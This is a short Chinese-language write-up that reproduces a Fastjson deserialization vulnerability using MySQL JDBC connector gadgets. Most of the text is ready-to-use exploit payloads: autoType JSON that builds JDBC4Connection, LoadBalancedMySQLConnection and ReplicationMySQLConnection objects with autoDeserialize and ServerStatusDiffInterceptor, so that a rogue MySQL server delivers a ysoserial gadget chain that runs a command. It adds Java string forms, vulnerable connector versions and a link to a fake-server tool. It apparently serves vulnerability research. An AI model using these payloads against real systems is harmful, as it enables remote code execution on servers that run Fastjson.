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Fastjson MySQL gadget复现

漏洞复现

payload:{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsBeanutils1_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } }

其中{ "user": "yso_CommonsBeanutils1_calc"是yso\_是固定(反序列化)CommonsBeanutils1\_(gadget)calc是命令

        String json2="{ \"name\": { \"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"127.0.0.1\", \"portToConnectTo\": 3306, \"info\": { \"user\": \"yso_CommonsBeanutils1_calc\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }, \"databaseToConnectTo\": \"dbname\", \"url\": \"\" } }";
        
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>5.1.12</version>
        </dependency>

        
        String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsBeanutils1_calc\" } } }}";


        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>6.0.2</version>
        </dependency>



image-20211220170706354

image-20211220154409962


{
       "@type":"java.lang.AutoCloseable",
       "@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
       "proxy": {
              "@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
              "connectionUrl":{
                     "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
                     "masters":[{
                            "host":""
                     }],
                     "slaves":[],
                     "properties":{
                            "host":"127.0.0.1",
                            "user":"yso_CommonsCollections4_calc",
                            "dbname":"dbname",
                            "password":"pass",
                            "queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                            "autoDeserialize":"true"
                     }
              }
       }
}

以下是MySQL反序列化漏洞影响的版本,fastjson只能打5.1.11-5.1.48(反序列化链)、6.0.2/6.0.3(反序列化)、8.0.19(反序列化链)(实测)。

影响版本

ServerStatusDiffInterceptor触发

detectCustomCollations触发:

image-20211220173824621


参考

https://www.cnblogs.com/pickmea/p/15157189.html

https://github.com/fnmsd/MySQL_Fake_Server

https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg